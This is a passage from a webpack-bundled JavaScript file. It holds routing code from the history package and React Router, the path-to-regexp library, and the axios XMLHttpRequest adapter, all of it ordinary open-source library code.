/* harmony default export */ __webpack_exports__["a"] = (Symbol);


/***/ }),
/* 74 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "b", function() { return canUseDOM; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return addEventListener; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "e", function() { return removeEventListener; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "c", function() { return getConfirmation; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "g", function() { return supportsHistory; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "h", function() { return supportsPopStateOnHashChange; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "f", function() { return supportsGoWithoutReloadUsingHash; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "d", function() { return isExtraneousPopstateEvent; });
var canUseDOM = !!(typeof window !== 'undefined' && window.document && window.document.createElement);

var addEventListener = function addEventListener(node, event, listener) {
  return node.addEventListener ? node.addEventListener(event, listener, false) : node.attachEvent('on' + event, listener);
};

var removeEventListener = function removeEventListener(node, event, listener) {
  return node.removeEventListener ? node.removeEventListener(event, listener, false) : node.detachEvent('on' + event, listener);
};

var getConfirmation = function getConfirmation(message, callback) {
  return callback(window.confirm(message));
}; // eslint-disable-line no-alert

/**
 * Returns true if the HTML5 history API is supported. Taken from Modernizr.
 *
 * https://github.com/Modernizr/Modernizr/blob/master/LICENSE
 * https://github.com/Modernizr/Modernizr/blob/master/feature-detects/history.js
 * changed to avoid false negatives for Windows Phones: https://github.com/reactjs/react-router/issues/586
 */
var supportsHistory = function supportsHistory() {
  var ua = window.navigator.userAgent;

  if ((ua.indexOf('Android 2.') !== -1 || ua.indexOf('Android 4.0') !== -1) && ua.indexOf('Mobile Safari') !== -1 && ua.indexOf('Chrome') === -1 && ua.indexOf('Windows Phone') === -1) return false;

  return window.history && 'pushState' in window.history;
};

/**
 * Returns true if browser fires popstate on hash change.
 * IE10 and IE11 do not.
 */
var supportsPopStateOnHashChange = function supportsPopStateOnHashChange() {
  return window.navigator.userAgent.indexOf('Trident') === -1;
};

/**
 * Returns false if using go(n) with hash history causes a full page reload.
 */
var supportsGoWithoutReloadUsingHash = function supportsGoWithoutReloadUsingHash() {
  return window.navigator.userAgent.indexOf('Firefox') === -1;
};

/**
 * Returns true if a given popstate event is an extraneous WebKit event.
 * Accounts for the fact that Chrome on iOS fires real popstate events
 * containing undefined state when pressing the back button.
 */
var isExtraneousPopstateEvent = function isExtraneousPopstateEvent(event) {
  return event.state === undefined && navigator.userAgent.indexOf('CriOS') === -1;
};

/***/ }),
/* 75 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_history__ = __webpack_require__(24);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }






var isModifiedEvent = function isModifiedEvent(event) {
  return !!(event.metaKey || event.altKey || event.ctrlKey || event.shiftKey);
};

/**
 * The public API for rendering a history-aware <a>.
 */

var Link = function (_React$Component) {
  _inherits(Link, _React$Component);

  function Link() {
    var _temp, _this, _ret;

    _classCallCheck(this, Link);

    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.handleClick = function (event) {
      if (_this.props.onClick) _this.props.onClick(event);

      if (!event.defaultPrevented && // onClick prevented default
      event.button === 0 && // ignore everything but left clicks
      !_this.props.target && // let browser handle "target=_blank" etc.
      !isModifiedEvent(event) // ignore clicks with modifier keys
      ) {
          event.preventDefault();

          var history = _this.context.router.history;
          var _this$props = _this.props,
              replace = _this$props.replace,
              to = _this$props.to;


          if (replace) {
            history.replace(to);
          } else {
            history.push(to);
          }
        }
    }, _temp), _possibleConstructorReturn(_this, _ret);
  }

  Link.prototype.render = function render() {
    var _props = this.props,
        replace = _props.replace,
        to = _props.to,
        innerRef = _props.innerRef,
        props = _objectWithoutProperties(_props, ["replace", "to", "innerRef"]); // eslint-disable-line no-unused-vars

    __WEBPACK_IMPORTED_MODULE_2_invariant___default()(this.context.router, "You should not use <Link> outside a <Router>");

    __WEBPACK_IMPORTED_MODULE_2_invariant___default()(to !== undefined, 'You must specify the "to" property');

    var history = this.context.router.history;

    var location = typeof to === "string" ? Object(__WEBPACK_IMPORTED_MODULE_3_history__["c" /* createLocation */])(to, null, null, history.location) : to;

    var href = history.createHref(location);
    return __WEBPACK_IMPORTED_MODULE_0_react___default.a.createElement("a", _extends({}, props, { onClick: this.handleClick, href: href, ref: innerRef }));
  };

  return Link;
}(__WEBPACK_IMPORTED_MODULE_0_react___default.a.Component);

Link.propTypes = {
  onClick: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func,
  target: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string,
  replace: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.bool,
  to: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.oneOfType([__WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string, __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object]).isRequired,
  innerRef: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.oneOfType([__WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string, __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func])
};
Link.defaultProps = {
  replace: false
};
Link.contextTypes = {
  router: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.shape({
    history: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.shape({
      push: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func.isRequired,
      replace: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func.isRequired,
      createHref: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func.isRequired
    }).isRequired
  }).isRequired
};


/* harmony default export */ __webpack_exports__["a"] = (Link);

/***/ }),
/* 76 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_Route__ = __webpack_require__(77);
// Written in this round about way for babel-transform-imports


/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_Route__["a" /* default */]);

/***/ }),
/* 77 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_3_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__matchPath__ = __webpack_require__(49);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }







var isEmptyChildren = function isEmptyChildren(children) {
  return __WEBPACK_IMPORTED_MODULE_2_react___default.a.Children.count(children) === 0;
};

/**
 * The public API for matching a single path and rendering.
 */

var Route = function (_React$Component) {
  _inherits(Route, _React$Component);

  function Route() {
    var _temp, _this, _ret;

    _classCallCheck(this, Route);

    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.state = {
      match: _this.computeMatch(_this.props, _this.context.router)
    }, _temp), _possibleConstructorReturn(_this, _ret);
  }

  Route.prototype.getChildContext = function getChildContext() {
    return {
      router: _extends({}, this.context.router, {
        route: {
          location: this.props.location || this.context.router.route.location,
          match: this.state.match
        }
      })
    };
  };

  Route.prototype.computeMatch = function computeMatch(_ref, router) {
    var computedMatch = _ref.computedMatch,
        location = _ref.location,
        path = _ref.path,
        strict = _ref.strict,
        exact = _ref.exact,
        sensitive = _ref.sensitive;

    if (computedMatch) return computedMatch; // <Switch> already computed the match for us

    __WEBPACK_IMPORTED_MODULE_1_invariant___default()(router, "You should not use <Route> or withRouter() outside a <Router>");

    var route = router.route;

    var pathname = (location || route.location).pathname;

    return Object(__WEBPACK_IMPORTED_MODULE_4__matchPath__["a" /* default */])(pathname, { path: path, strict: strict, exact: exact, sensitive: sensitive }, route.match);
  };

  Route.prototype.componentWillMount = function componentWillMount() {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!(this.props.component && this.props.render), "You should not use <Route component> and <Route render> in the same route; <Route render> will be ignored");

    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!(this.props.component && this.props.children && !isEmptyChildren(this.props.children)), "You should not use <Route component> and <Route children> in the same route; <Route children> will be ignored");

    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!(this.props.render && this.props.children && !isEmptyChildren(this.props.children)), "You should not use <Route render> and <Route children> in the same route; <Route children> will be ignored");
  };

  Route.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps, nextContext) {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!(nextProps.location && !this.props.location), '<Route> elements should not change from uncontrolled to controlled (or vice versa). You initially used no "location" prop and then provided one on a subsequent render.');

    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!(!nextProps.location && this.props.location), '<Route> elements should not change from controlled to uncontrolled (or vice versa). You provided a "location" prop initially but omitted it on a subsequent render.');

    this.setState({
      match: this.computeMatch(nextProps, nextContext.router)
    });
  };

  Route.prototype.render = function render() {
    var match = this.state.match;
    var _props = this.props,
        children = _props.children,
        component = _props.component,
        render = _props.render;
    var _context$router = this.context.router,
        history = _context$router.history,
        route = _context$router.route,
        staticContext = _context$router.staticContext;

    var location = this.props.location || route.location;
    var props = { match: match, location: location, history: history, staticContext: staticContext };

    if (component) return match ? __WEBPACK_IMPORTED_MODULE_2_react___default.a.createElement(component, props) : null;

    if (render) return match ? render(props) : null;

    if (typeof children === "function") return children(props);

    if (children && !isEmptyChildren(children)) return __WEBPACK_IMPORTED_MODULE_2_react___default.a.Children.only(children);

    return null;
  };

  return Route;
}(__WEBPACK_IMPORTED_MODULE_2_react___default.a.Component);

Route.propTypes = {
  computedMatch: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object, // private, from <Switch>
  path: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.string,
  exact: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.bool,
  strict: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.bool,
  sensitive: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.bool,
  component: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.func,
  render: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.func,
  children: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.oneOfType([__WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.func, __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.node]),
  location: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object
};
Route.contextTypes = {
  router: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.shape({
    history: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired,
    route: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired,
    staticContext: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object
  })
};
Route.childContextTypes = {
  router: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired
};


/* harmony default export */ __webpack_exports__["a"] = (Route);

/***/ }),
/* 78 */
/***/ (function(module, exports, __webpack_require__) {

var isarray = __webpack_require__(149)

/**
 * Expose `pathToRegexp`.
 */
module.exports = pathToRegexp
module.exports.parse = parse
module.exports.compile = compile
module.exports.tokensToFunction = tokensToFunction
module.exports.tokensToRegExp = tokensToRegExp

/**
 * The main path matching regexp utility.
 *
 * @type {RegExp}
 */
var PATH_REGEXP = new RegExp([
  // Match escaped characters that would otherwise appear in future matches.
  // This allows the user to escape special characters that won't transform.
  '(\\\\.)',
  // Match Express-style parameters and un-named parameters with a prefix
  // and optional suffixes. Matches appear as:
  //
  // "/:test(\\d+)?" => ["/", "test", "\d+", undefined, "?", undefined]
  // "/route(\\d+)"  => [undefined, undefined, undefined, "\d+", undefined, undefined]
  // "/*"            => ["/", undefined, undefined, undefined, undefined, "*"]
  '([\\/.])?(?:(?:\\:(\\w+)(?:\\(((?:\\\\.|[^\\\\()])+)\\))?|\\(((?:\\\\.|[^\\\\()])+)\\))([+*?])?|(\\*))'
].join('|'), 'g')

/**
 * Parse a string for the raw tokens.
 *
 * @param  {string}  str
 * @param  {Object=} options
 * @return {!Array}
 */
function parse (str, options) {
  var tokens = []
  var key = 0
  var index = 0
  var path = ''
  var defaultDelimiter = options && options.delimiter || '/'
  var res

  while ((res = PATH_REGEXP.exec(str)) != null) {
    var m = res[0]
    var escaped = res[1]
    var offset = res.index
    path += str.slice(index, offset)
    index = offset + m.length

    // Ignore already escaped sequences.
    if (escaped) {
      path += escaped[1]
      continue
    }

    var next = str[index]
    var prefix = res[2]
    var name = res[3]
    var capture = res[4]
    var group = res[5]
    var modifier = res[6]
    var asterisk = res[7]

    // Push the current path onto the tokens.
    if (path) {
      tokens.push(path)
      path = ''
    }

    var partial = prefix != null && next != null && next !== prefix
    var repeat = modifier === '+' || modifier === '*'
    var optional = modifier === '?' || modifier === '*'
    var delimiter = res[2] || defaultDelimiter
    var pattern = capture || group

    tokens.push({
      name: name || key++,
      prefix: prefix || '',
      delimiter: delimiter,
      optional: optional,
      repeat: repeat,
      partial: partial,
      asterisk: !!asterisk,
      pattern: pattern ? escapeGroup(pattern) : (asterisk ? '.*' : '[^' + escapeString(delimiter) + ']+?')
    })
  }

  // Match any characters still remaining.
  if (index < str.length) {
    path += str.substr(index)
  }

  // If the path exists, push it onto the end.
  if (path) {
    tokens.push(path)
  }

  return tokens
}

/**
 * Compile a string to a template function for the path.
 *
 * @param  {string}             str
 * @param  {Object=}            options
 * @return {!function(Object=, Object=)}
 */
function compile (str, options) {
  return tokensToFunction(parse(str, options))
}

/**
 * Prettier encoding of URI path segments.
 *
 * @param  {string}
 * @return {string}
 */
function encodeURIComponentPretty (str) {
  return encodeURI(str).replace(/[\/?#]/g, function (c) {
    return '%' + c.charCodeAt(0).toString(16).toUpperCase()
  })
}

/**
 * Encode the asterisk parameter. Similar to `pretty`, but allows slashes.
 *
 * @param  {string}
 * @return {string}
 */
function encodeAsterisk (str) {
  return encodeURI(str).replace(/[?#]/g, function (c) {
    return '%' + c.charCodeAt(0).toString(16).toUpperCase()
  })
}

/**
 * Expose a method for transforming tokens into the path function.
 */
function tokensToFunction (tokens) {
  // Compile all the tokens into regexps.
  var matches = new Array(tokens.length)

  // Compile all the patterns before compilation.
  for (var i = 0; i < tokens.length; i++) {
    if (typeof tokens[i] === 'object') {
      matches[i] = new RegExp('^(?:' + tokens[i].pattern + ')$')
    }
  }

  return function (obj, opts) {
    var path = ''
    var data = obj || {}
    var options = opts || {}
    var encode = options.pretty ? encodeURIComponentPretty : encodeURIComponent

    for (var i = 0; i < tokens.length; i++) {
      var token = tokens[i]

      if (typeof token === 'string') {
        path += token

        continue
      }

      var value = data[token.name]
      var segment

      if (value == null) {
        if (token.optional) {
          // Prepend partial segment prefixes.
          if (token.partial) {
            path += token.prefix
          }

          continue
        } else {
          throw new TypeError('Expected "' + token.name + '" to be defined')
        }
      }

      if (isarray(value)) {
        if (!token.repeat) {
          throw new TypeError('Expected "' + token.name + '" to not repeat, but received `' + JSON.stringify(value) + '`')
        }

        if (value.length === 0) {
          if (token.optional) {
            continue
          } else {
            throw new TypeError('Expected "' + token.name + '" to not be empty')
          }
        }

        for (var j = 0; j < value.length; j++) {
          segment = encode(value[j])

          if (!matches[i].test(segment)) {
            throw new TypeError('Expected all "' + token.name + '" to match "' + token.pattern + '", but received `' + JSON.stringify(segment) + '`')
          }

          path += (j === 0 ? token.prefix : token.delimiter) + segment
        }

        continue
      }

      segment = token.asterisk ? encodeAsterisk(value) : encode(value)

      if (!matches[i].test(segment)) {
        throw new TypeError('Expected "' + token.name + '" to match "' + token.pattern + '", but received "' + segment + '"')
      }

      path += token.prefix + segment
    }

    return path
  }
}

/**
 * Escape a regular expression string.
 *
 * @param  {string} str
 * @return {string}
 */
function escapeString (str) {
  return str.replace(/([.+*?=^!:${}()[\]|\/\\])/g, '\\$1')
}

/**
 * Escape the capturing group by escaping special characters and meaning.
 *
 * @param  {string} group
 * @return {string}
 */
function escapeGroup (group) {
  return group.replace(/([=!:$\/()])/g, '\\$1')
}

/**
 * Attach the keys as a property of the regexp.
 *
 * @param  {!RegExp} re
 * @param  {Array}   keys
 * @return {!RegExp}
 */
function attachKeys (re, keys) {
  re.keys = keys
  return re
}

/**
 * Get the flags for a regexp from the options.
 *
 * @param  {Object} options
 * @return {string}
 */
function flags (options) {
  return options.sensitive ? '' : 'i'
}

/**
 * Pull out keys from a regexp.
 *
 * @param  {!RegExp} path
 * @param  {!Array}  keys
 * @return {!RegExp}
 */
function regexpToRegexp (path, keys) {
  // Use a negative lookahead to match only capturing groups.
  var groups = path.source.match(/\((?!\?)/g)

  if (groups) {
    for (var i = 0; i < groups.length; i++) {
      keys.push({
        name: i,
        prefix: null,
        delimiter: null,
        optional: false,
        repeat: false,
        partial: false,
        asterisk: false,
        pattern: null
      })
    }
  }

  return attachKeys(path, keys)
}

/**
 * Transform an array into a regexp.
 *
 * @param  {!Array}  path
 * @param  {Array}   keys
 * @param  {!Object} options
 * @return {!RegExp}
 */
function arrayToRegexp (path, keys, options) {
  var parts = []

  for (var i = 0; i < path.length; i++) {
    parts.push(pathToRegexp(path[i], keys, options).source)
  }

  var regexp = new RegExp('(?:' + parts.join('|') + ')', flags(options))

  return attachKeys(regexp, keys)
}

/**
 * Create a path regexp from string input.
 *
 * @param  {string}  path
 * @param  {!Array}  keys
 * @param  {!Object} options
 * @return {!RegExp}
 */
function stringToRegexp (path, keys, options) {
  return tokensToRegExp(parse(path, options), keys, options)
}

/**
 * Expose a function for taking tokens and returning a RegExp.
 *
 * @param  {!Array}          tokens
 * @param  {(Array|Object)=} keys
 * @param  {Object=}         options
 * @return {!RegExp}
 */
function tokensToRegExp (tokens, keys, options) {
  if (!isarray(keys)) {
    options = /** @type {!Object} */ (keys || options)
    keys = []
  }

  options = options || {}

  var strict = options.strict
  var end = options.end !== false
  var route = ''

  // Iterate over the tokens and create our regexp string.
  for (var i = 0; i < tokens.length; i++) {
    var token = tokens[i]

    if (typeof token === 'string') {
      route += escapeString(token)
    } else {
      var prefix = escapeString(token.prefix)
      var capture = '(?:' + token.pattern + ')'

      keys.push(token)

      if (token.repeat) {
        capture += '(?:' + prefix + capture + ')*'
      }

      if (token.optional) {
        if (!token.partial) {
          capture = '(?:' + prefix + '(' + capture + '))?'
        } else {
          capture = prefix + '(' + capture + ')?'
        }
      } else {
        capture = prefix + '(' + capture + ')'
      }

      route += capture
    }
  }

  var delimiter = escapeString(options.delimiter || '/')
  var endsWithDelimiter = route.slice(-delimiter.length) === delimiter

  // In non-strict mode we allow a slash at the end of match. If the path to
  // match already ends with a slash, we remove it for consistency. The slash
  // is valid at the end of a path match, not in the middle. This is important
  // in non-ending mode, where "/test/" shouldn't match "/test//route".
  if (!strict) {
    route = (endsWithDelimiter ? route.slice(0, -delimiter.length) : route) + '(?:' + delimiter + '(?=$))?'
  }

  if (end) {
    route += '$'
  } else {
    // In non-ending mode, we need the capturing groups to match as much as
    // possible by using a positive lookahead to the end or next path segment.
    route += strict && endsWithDelimiter ? '' : '(?=' + delimiter + '|$)'
  }

  return attachKeys(new RegExp('^' + route, flags(options)), keys)
}

/**
 * Normalize the given path string, returning a regular expression.
 *
 * An empty array can be passed in for the keys, which will hold the
 * placeholder key descriptions. For example, using `/user/:id`, `keys` will
 * contain `[{ name: 'id', delimiter: '/', optional: false, repeat: false }]`.
 *
 * @param  {(string|RegExp|Array)} path
 * @param  {(Array|Object)=}       keys
 * @param  {Object=}               options
 * @return {!RegExp}
 */
function pathToRegexp (path, keys, options) {
  if (!isarray(keys)) {
    options = /** @type {!Object} */ (keys || options)
    keys = []
  }

  options = options || {}

  if (path instanceof RegExp) {
    return regexpToRegexp(path, /** @type {!Array} */ (keys))
  }

  if (isarray(path)) {
    return arrayToRegexp(/** @type {!Array} */ (path), /** @type {!Array} */ (keys), options)
  }

  return stringToRegexp(/** @type {string} */ (path), /** @type {!Array} */ (keys), options)
}


/***/ }),
/* 79 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_path_to_regexp__ = __webpack_require__(78);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_path_to_regexp___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_path_to_regexp__);


var patternCache = {};
var cacheLimit = 10000;
var cacheCount = 0;

var compileGenerator = function compileGenerator(pattern) {
  var cacheKey = pattern;
  var cache = patternCache[cacheKey] || (patternCache[cacheKey] = {});

  if (cache[pattern]) return cache[pattern];

  var compiledGenerator = __WEBPACK_IMPORTED_MODULE_0_path_to_regexp___default.a.compile(pattern);

  if (cacheCount < cacheLimit) {
    cache[pattern] = compiledGenerator;
    cacheCount++;
  }

  return compiledGenerator;
};

/**
 * Public API for generating a URL pathname from a pattern and parameters.
 */
var generatePath = function generatePath() {
  var pattern = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : "/";
  var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};

  if (pattern === "/") {
    return pattern;
  }
  var generator = compileGenerator(pattern);
  return generator(params, { pretty: true });
};

/* harmony default export */ __webpack_exports__["a"] = (generatePath);

/***/ }),
/* 80 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


module.exports = function bind(fn, thisArg) {
  return function wrap() {
    var args = new Array(arguments.length);
    for (var i = 0; i < args.length; i++) {
      args[i] = arguments[i];
    }
    return fn.apply(thisArg, args);
  };
};


/***/ }),
/* 81 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {

var utils = __webpack_require__(14);
var settle = __webpack_require__(166);
var buildURL = __webpack_require__(168);
var parseHeaders = __webpack_require__(169);
var isURLSameOrigin = __webpack_require__(170);
var createError = __webpack_require__(82);
var btoa = (typeof window !== 'undefined' && window.btoa && window.btoa.bind(window)) || __webpack_require__(171);

module.exports = function xhrAdapter(config) {
  return new Promise(function dispatchXhrRequest(resolve, reject) {
    var requestData = config.data;
    var requestHeaders = config.headers;

    if (utils.isFormData(requestData)) {
      delete requestHeaders['Content-Type']; // Let the browser set it
    }

    var request = new XMLHttpRequest();
    var loadEvent = 'onreadystatechange';
    var xDomain = false;

    // For IE 8/9 CORS support
    // Only supports POST and GET calls and doesn't returns the response headers.
    // DON'T do this for testing b/c XMLHttpRequest is mocked, not XDomainRequest.
    if (process.env.NODE_ENV !== 'test' &&
        typeof window !== 'undefined' &&
        window.XDomainRequest && !('withCredentials' in request) &&
        !isURLSameOrigin(config.url)) {
      request = new window.XDomainRequest();
      loadEvent = 'onload';
      xDomain = true;
      request.onprogress = function handleProgress() {};
      request.ontimeout = function handleTimeout() {};
    }

    // HTTP basic authentication
    if (config.auth) {
      var username = config.auth.username || '';
      var password = config.auth.password || '';
      requestHeaders.Authorization = 'Basic ' + btoa(username + ':' + password);
    }

    request.open(config.method.toUpperCase(), buildURL(config.url, config.params, config.paramsSerializer), true);

    // Set the request timeout in MS
    request.timeout = config.timeout;

    // Listen for ready state
    request[loadEvent] = function handleLoad() {
      if (!request || (request.readyState !== 4 && !xDomain)) {
        return;
      }

      // The request errored out and we didn't get a response, this will be
      // handled by onerror instead
      // With one exception: request that using file: protocol, most browsers
      // will return status as 0 even though it's a successful request
      if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {
        return;
      }

      // Prepare the response
      var responseHeaders = 'getAllResponseHeaders' in request ? parseHeaders(request.getAllResponseHeaders()) : null;
      var responseData = !config.responseType || config.responseType === 'text' ? request.responseText : request.response;
      var response = {
        data: responseData,
        // IE sends 1223 instead of 204 (https://github.com/axios/axios/issues/201)
        status: request.status === 1223 ? 204 : request.status,
        statusText: request.status === 1223 ? 'No Content' : request.statusText,
        headers: responseHeaders,
        config: config,
        request: request
      };

      settle(resolve, reject, response);

      // Clean up request
      request = null;
    };

    // Handle low level network errors
    request.onerror = function handleError() {
      // Real errors are hidden from us by the browser
      // onerror should only fire if it's a network error
      reject(createError('Network Error', config, null, request));

      // Clean up request
      request = null;
    };

    // Handle timeout
    request.ontimeout = function handleTimeout() {
      reject(createError('timeout of ' + config.timeout + 'ms exceeded', config, 'ECONNABORTED',
        request));

      // Clean up request
      request = null;
    };

    // Add xsrf header
    // This is only done if running in a standard browser environment.
    // Specifically not if we're in a web worker, or react-native.
    if (utils.isStandardBrowserEnv()) {
      var cookies = __webpack_require__(172);

      // Add xsrf header
      var xsrfValue = (config.withCredentials || isURLSameOrigin(config.url)) && config.xsrfCookieName ?
          cookies.read(config.xsrfCookieName) :
          undefined;

      if (xsrfValue) {
        requestHeaders[config.xsrfHeaderName] = xsrfValue;
      }
    }

    // Add headers to the request
    if ('setRequestHeader' in request) {
      utils.forEach(requestHeaders, function setRequestHeader(val, key) {
        if (typeof requestData === 'undefined' && key.toLowerCase() === 'content-type') {
          // Remove Content-Type if data is undefined
          delete requestHeaders[key];
        } else {
          // Otherwise add header to the request
          request.setRequestHeader(key, val);
        }
      });
    }

    // Add withCredentials to request if needed
    if (config.withCredentials) {
      request.withCredentials = true;
    }

    // Add responseType to request if needed
    if (config.responseType) {
      try {
        request.responseType = config.responseType;
      } catch (e) {
        // Expected DOMException thrown by browsers not compatible XMLHttpRequest Level 2.
        // But, this can be suppressed for 'json' type as it can be parsed by default 'transformResponse' function.
        if (config.responseType !== 'json') {
          throw e;
        }
      }
    }

    // Handle progress if needed
    if (typeof config.onDownloadProgress === 'function') {
      request.addEventListener('progress', config.onDownloadProgress);
    }

    // Not all browsers support upload events
    if (typeof config.onUploadProgress === 'function' && request.upload) {
      request.upload.addEventListener('progress', config.onUploadProgress);
    }

    if (config.cancelToken) {
      // Handle cancellation
      config.cancelToken.promise.then(function onCanceled(cancel) {
        if (!request) {
          return;
        }

        request.abort();
        reject(cancel);
        // Clean up request
        request = null;
      });
    }

    if (requestData === undefined) {
      requestData = null;
    }

    // Send the request
    request.send(requestData);
  });
};

